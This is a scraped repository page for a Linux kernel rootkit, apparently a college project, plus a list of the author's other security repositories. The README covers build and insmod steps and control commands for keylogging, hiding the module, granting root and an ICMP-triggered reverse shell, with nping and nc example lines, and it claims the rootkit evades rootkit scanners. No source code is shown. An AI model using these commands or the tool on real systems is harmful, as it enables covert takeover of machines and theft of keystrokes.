• Stars
    star
    166
  • Rank 220,335 (Top 5 %)
  • Language
    C
  • License
    GNU General Publi...
  • Created almost 10 years ago
  • Updated over 4 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

This is a linux rootkit using many of the techniques described on

maK_it-Linux-Rootkit

========================

This is a simple rootkit implementation for the project described at the following location

https://web.archive.org/web/20190119045332/https://r00tkit.me/

This rootkit avoids both the chkrootkit & rkhunter scanners as intended.

It is fully compatible with the latest version of CentOS 6.5

To run simply run "make" in the folder with the Makefile.

install with insmod maK_it.ko

Remove with rmmod maK_it

=============== Demo Commands

Echo any of the following into /dev/.maK_it

debug - turn /var/log/messages debug messages on or off.

keyLogOn - turn the keylogger on

keyLogOff - turn the keylogger off

modHide - hide the module (hidden by default in insmod)

modReveal - reveal the module (so you can rmmod it)

rootMe - give root privileges to user

shellUp - Turn on a packet sniffer for reverse shell icmp

shellDown - Turn off the packet sniffer daemon

To trigger the reverse shell, listen on a port of your choice on your own machine. The shell will be returned if you send an icmp packet with the right trigger word, your ip/port.

Example: nping --icmp -c 1 -dest-ip 127.0.0.1 --data-string 'maK_it_$H3LL 127.0.0.1 31337'

A port listener can be simply opened on your machine using nc -l 31337

More Repositories

1

parameth

This tool can be used to brute discover GET and POST parameters
Python
1,314
star
2

scantastic-tool

It's bloody scantastic
Python
233
star
3

reverse-shell-access-kernel-module

This is a kernel module invoked reverse shell proof of concept.
C
66
star
4

scanomaly-2years

This is a web application fuzzer scanner - the goal was CLI flexibility and rapid prototyping
Python
45
star
5

Keylogger-lkm

This is a very simple Keylogger, it doesn't hide itself and is a college project building towards developing a rootkit.
C
22
star
6

Syscall-table-hijack-LKM

This demonstrates the hijacking of the "write" system call and how to set the System Call table to read/write mode via modifying the correct cr0 bit.
C
20
star
7

scanomaly

Generic plugin based web application security fuzzing for anomalies by Slándáil Research Limited
Python
13
star
8

Xssive

Xss Vulnerability Demonstration framework.
Python
12
star
9

stealthy-Keylogger-lkm

This is a stealthier version of Keylogger-lkm, it introduces hiding techniques and also a command entering option.
C
11
star
10

SimplestLKM

Hello World Linux Kernel Module
Shell
9
star
11

systemtap-rootkit-project-scripts

This is a repository to hold various scripts and proof of concept code for my final year college project. A Linux rootkit.
Shell
8
star
12

fearann

This permutates and fucks with subdomains hard
Python
5
star
13

domaination

This is a very simple/stupid cli tool for doing various things with subdomain lists
Python
5
star
14

mistRust

Learning rust via implementing some stupid simple shellcode droppers
Rust
4
star
15

rss2irc-bot

A simple bot that prints user specified rss feeds into an Irc channel of choice.
Python
4
star
16

Digital-Signature-ElGamal

Implementing a Digital signature using the ElGamal signature scheme. (Crypto Assignment 2)
Java
3
star
17

Naive-Concurrent-Elevator

Simple naive consumer-producer type solution to the Elevator problem.
Java
2
star
18

Code-Dump

miscellaneous small things
Python
2
star
19

Imageroll

This project Died.
2
star
20

rpliy

Raspberry pi python web player -
Python
1
star
21

Crypto-File-Tool

This was developed to meet the specific requirements of the first assigment in my Cryptography module.
1
star
22

Single-file-server

an ad-hoc single file webserver that allows a count to be added on how many times the file can be downloaded.
Python
1
star
23

Simple-Qlearning-XOs

Expressing Naughts & Crosses as a Simple Reinforcement Learning problem.
Java
1
star